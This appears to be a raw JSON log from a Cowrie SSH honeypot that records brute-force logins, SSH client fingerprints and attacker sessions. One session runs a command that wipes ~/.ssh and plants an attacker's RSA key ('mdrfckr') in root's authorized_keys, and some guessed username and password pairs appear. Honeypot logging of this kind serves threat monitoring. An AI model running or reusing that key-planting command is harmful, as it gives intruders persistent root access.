{"eventid":"cowrie.login.success","username":"root","password":"Qwe123...","message":"login attempt [root/Qwe123...] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:34.897160Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:35.390634Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:35.394250Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:35.398058Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:35.629335Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:36.116538Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:36.119611Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:36.351024Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:36.354546Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":60782,"dst_ip":"10.17.0.5","dst_port":22,"session":"d00a6611d8f6","protocol":"ssh","message":"New connection: 157.15.59.121:60782 (10.17.0.5:22) [session: d00a6611d8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:36.597375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:36.601394Z","src_ip":"157.15.59.121","session":"d00a6611d8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:36.845018Z","src_ip":"157.15.59.121","session":"d00a6611d8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:37.852194Z","src_ip":"157.15.59.121","session":"d00a6611d8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:39.100054Z","src_ip":"157.15.59.121","session":"d00a6611d8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"efe2110b5507","protocol":"ssh","message":"New connection: 157.15.59.121:60796 (10.17.0.5:22) [session: efe2110b5507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:39.296683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:39.300816Z","src_ip":"157.15.59.121","session":"efe2110b5507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:39.511503Z","src_ip":"157.15.59.121","session":"efe2110b5507","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:40.386939Z","src_ip":"157.15.59.121","session":"efe2110b5507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:40.600679Z","src_ip":"157.15.59.121","session":"efe2110b5507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:01:40.607506Z","src_ip":"157.15.59.115","session":"bc9ef66aac9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60360,"dst_ip":"159.203.135.109","dst_port":22,"session":"41f3c38bd437","protocol":"ssh","message":"New connection: 195.178.110.218:60360 (159.203.135.109:22) [session: 41f3c38bd437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:02:21.397412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:02:21.402672Z","src_ip":"195.178.110.218","session":"41f3c38bd437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:02:21.482216Z","src_ip":"195.178.110.218","session":"41f3c38bd437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:02:21.719905Z","src_ip":"195.178.110.218","session":"41f3c38bd437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:02:22.801335Z","src_ip":"195.178.110.218","session":"41f3c38bd437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37570,"dst_ip":"159.203.135.109","dst_port":22,"session":"347a40d2c881","protocol":"ssh","message":"New connection: 195.178.110.218:37570 (159.203.135.109:22) [session: 347a40d2c881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:14.364770Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:14.445652Z","src_ip":"195.178.110.218","session":"347a40d2c881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51314,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e2eaab8b7c5","protocol":"ssh","message":"New connection: 195.178.110.218:51314 (10.17.0.5:22) [session: 8e2eaab8b7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:25.674884Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:25.756218Z","src_ip":"195.178.110.218","session":"8e2eaab8b7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":48104,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f4e44eccd9","protocol":"ssh","message":"New connection: 157.15.59.121:48104 (10.17.0.5:22) [session: 63f4e44eccd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:54.588028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:54.592846Z","src_ip":"157.15.59.121","session":"63f4e44eccd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:54.838454Z","src_ip":"157.15.59.121","session":"63f4e44eccd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fan","password":"1234","message":"login attempt [fan/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:55.841423Z","src_ip":"157.15.59.121","session":"63f4e44eccd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:03:57.086753Z","src_ip":"157.15.59.121","session":"63f4e44eccd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":46866,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce58c4b852c4","protocol":"ssh","message":"New connection: 92.118.39.76:46866 (10.17.0.5:22) [session: ce58c4b852c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:04:59.835456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:04:59.839166Z","src_ip":"92.118.39.76","session":"ce58c4b852c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:04:59.961193Z","src_ip":"92.118.39.76","session":"ce58c4b852c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:00.288524Z","src_ip":"92.118.39.76","session":"ce58c4b852c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:01.389977Z","src_ip":"92.118.39.76","session":"ce58c4b852c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52084,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e48145bd09c","protocol":"ssh","message":"New connection: 195.178.110.218:52084 (159.203.135.109:22) [session: 3e48145bd09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:21.344503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:21.349225Z","src_ip":"195.178.110.218","session":"3e48145bd09c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:21.430834Z","src_ip":"195.178.110.218","session":"3e48145bd09c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:21.667708Z","src_ip":"195.178.110.218","session":"3e48145bd09c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:22.749681Z","src_ip":"195.178.110.218","session":"3e48145bd09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":34742,"dst_ip":"159.203.135.109","dst_port":22,"session":"b25b7ffe24c3","protocol":"ssh","message":"New connection: 2.57.122.96:34742 (159.203.135.109:22) [session: b25b7ffe24c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:23.819983Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:23.924945Z","src_ip":"2.57.122.96","session":"b25b7ffe24c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"73b530101b77","protocol":"ssh","message":"New connection: 195.178.110.218:55518 (10.17.0.5:22) [session: 73b530101b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:39.792332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:05:39.796635Z","src_ip":"195.178.110.218","session":"73b530101b77","protocol":"ssh"}
